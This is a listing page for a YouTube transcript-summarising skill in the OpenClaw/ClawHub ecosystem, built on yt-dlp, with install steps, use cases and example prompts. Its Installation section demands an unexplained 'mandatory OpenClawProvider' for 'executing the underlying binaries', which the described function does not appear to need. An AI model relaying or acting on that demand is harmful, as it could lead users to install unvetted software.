Youtube Watcher K

What This Skill Does

The YouTube Watcher K skill is a powerful utility designed for the OpenClaw ecosystem that allows users to interact with video content through text. By leveraging the yt-dlp library, the agent can fetch, parse, and analyze closed captions and auto-generated transcripts from YouTube videos. This skill bridges the gap between visual/auditory media and text-based AI processing, allowing your agent to read through lengthy presentations, tutorials, or lectures to extract actionable insights, generate concise summaries, or answer specific questions about the video's content.

Installation

To install this skill, use the ClawHub CLI command: clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-k. Please ensure your system has the mandatory OpenClawProvider installed, as this is a prerequisite for executing the underlying binaries. You must also ensure yt-dlp is installed via pip or Homebrew and available in your environment's PATH to allow the script to communicate with external video services.

Use Cases

This skill is highly versatile for users who consume large amounts of digital media. Common use cases include:

• Converting hour-long technical webinars into executive summaries.
• Extracting specific timestamps or instructions from "How-To" tutorials.
• Enabling rapid content research for academic or professional projects without watching the entire video.
• Translating or simplifying complex language within educational content for better accessibility.

Example Prompts

1. "Watch youtube video https://www.youtube.com/watch?v=example and give me a five-bullet point summary of the key takeaways."
2. "Analyze video https://www.youtube.com/watch?v=example and find the section where they talk about the budget constraints."
3. "Please get the video transcript for https://www.youtube.com/watch?v=example so I can search for mentions of Python programming."

Tips & Limitations

Note that this skill relies heavily on the availability of existing captions. If a creator has not enabled captions and auto-generated subtitles are not available, the skill will return an error. Additionally, very long videos may generate significant amounts of text, so consider requesting specific sections rather than full transcripts for optimal performance. Ensure your internet connection is active, as the skill fetches live data from YouTube's servers to process the content.